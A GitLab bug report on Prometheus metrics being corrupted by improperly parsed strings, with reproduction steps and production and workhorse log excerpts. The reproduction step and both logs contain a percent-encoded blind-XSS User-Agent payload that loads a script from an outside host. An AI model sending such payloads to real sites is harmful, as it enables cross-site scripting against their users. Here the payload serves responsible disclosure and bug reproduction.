Rack_timeout parsing invalid strings causes issues

Summary

When visiting https://<gitlab>/-/metrics to get the Prometheus metrics, it may return incorrect data because the string wasn't initially properly parsed.

Steps to reproduce

  • Run GitLab 15.X+ (any version)
  • Send a curl with the below user agent to attempt a XSS to any page (logs below are from the sign in page)
Mozilla/5.0 (X11; Linux x86_64) ResponsibleDisclosure-AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36%22%3E%3Cscript%20src=https://blindbounty.xss.ht%3E%3C/script%3E%3Ccznkrm%3E

NOTE (scroll a bit to see full UA, contains XSS) Do NOT visit the URL, the string is an URL percent-encoded string.

  • Send request to https://<gitlab>/-/metrics to get metrics
  • Observe as the output has rack_requests_total{action="x\u003c/q\"g'j",controller="",route="",state="completed"}

When using promtool the data is not usable:

$ curl -ks https://<gitlab>/-/metrics | ./promtool check metrics
error while linting: text format parsing error in line 9331: invalid escape sequence '\u'

Example Project

/

What is the current bug behavior?

The code used to parse the string incorrectly parses some data.

What is the expected correct behavior?

The string is properly parsed

Relevant logs and/or screenshots

Click to expand

./var/log/gitlab/gitlab-rails/production_json.log

{
  "method": "GET",
  "path": "/",
  "format": "html",
  "controller": "RootController",
  "action": "index",
  "status": 302,
  "location": "https://DOMAIN/users/sign_in",
  "time": "2022-09-20T08:29:12.212Z",
  "params": [],
  "correlation_id": "01GDD07X3Z3BCWCPGFRSSWHKNW",
  "meta.caller_id": "RootController#index",
  "meta.remote_ip": "VALID_IP",
  "meta.feature_category": "projects",
  "meta.client_id": "ip/VALID_IP",
  "remote_ip": "VALID_IP",
  "ua": "Mozilla/5.0 (X11; Linux x86_64) ResponsibleDisclosure-AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36%22%3E%3Cscript%20src=https://blindbounty.xss.ht%3E%3C/script%3E%3Ccznkrm%3E",
  "queue_duration_s": 0.006399,
  "request_urgency": "low",
  "target_duration_s": 5,
  "db_count": 0,
  "db_write_count": 0,
  "db_cached_count": 0,
  "db_replica_count": 0,
  "db_primary_count": 0,
  "db_main_count": 0,
  "db_main_replica_count": 0,
  "db_replica_cached_count": 0,
  "db_primary_cached_count": 0,
  "db_main_cached_count": 0,
  "db_main_replica_cached_count": 0,
  "db_replica_wal_count": 0,
  "db_primary_wal_count": 0,
  "db_main_wal_count": 0,
  "db_main_replica_wal_count": 0,
  "db_replica_wal_cached_count": 0,
  "db_primary_wal_cached_count": 0,
  "db_main_wal_cached_count": 0,
  "db_main_replica_wal_cached_count": 0,
  "db_replica_duration_s": 0.0,
  "db_primary_duration_s": 0.0,
  "db_main_duration_s": 0.0,
  "db_main_replica_duration_s": 0.0,
  "cpu_s": 0.019134,
  "mem_objects": 10649,
  "mem_bytes": 1211000,
  "mem_mallocs": 2000,
  "mem_total_bytes": 1636960,
  "pid": 417387,
  "worker_id": "puma_2",
  "rate_limiting_gates": [],
  "db_duration_s": 0.0,
  "view_duration_s": 0.0,
  "duration_s": 0.00804
}

./var/log/gitlab/gitlab-workhorse/current

{
  "content_type": "text/html; charset=utf-8",
  "correlation_id": "01GDD07X3Z3BCWCPGFRSSWHKNW",
  "duration_ms": 22,
  "host": "DOMAIN",
  "level": "info",
  "method": "GET",
  "msg": "access",
  "proto": "HTTP/1.1",
  "referrer": "\u003cinvalid URL\u003e",
  "remote_addr": "VALID_IP:0",
  "remote_ip": "VALID_IP",
  "route": "",
  "status": 302,
  "system": "http",
  "time": "2022-09-20T10:29:12+02:00",
  "ttfb_ms": 22,
  "uri": "/",
  "user_agent": "Mozilla/5.0 (X11; Linux x86_64) ResponsibleDisclosure-AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36%22%3E%3Cscript%20src=https://blindbounty.xss.ht%3E%3C/script%3E%3Ccznkrm%3E",
  "written_bytes": 108
}

Output of checks

This bug happens on GitLab.com 15.6.0-pre e154e978

Results of GitLab environment info

Expand for output related to GitLab environment info

(For installations with omnibus-gitlab package run and paste the output of:
`sudo gitlab-rake gitlab:env:info`)

(For installations from source run and paste the output of:
`sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production`)

Results of GitLab application Check

Expand for output related to the GitLab application check

(For installations with omnibus-gitlab package run and paste the output of: sudo gitlab-rake gitlab:check SANITIZE=true)

(For installations from source run and paste the output of: sudo -u git -H bundle exec rake gitlab:check RAILS_ENV=production SANITIZE=true)

(we will only investigate if the tests are passing)

Possible fixes

https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/cluster/rack_timeout_observer.rb#L30-35

Edited by Filip Aleksic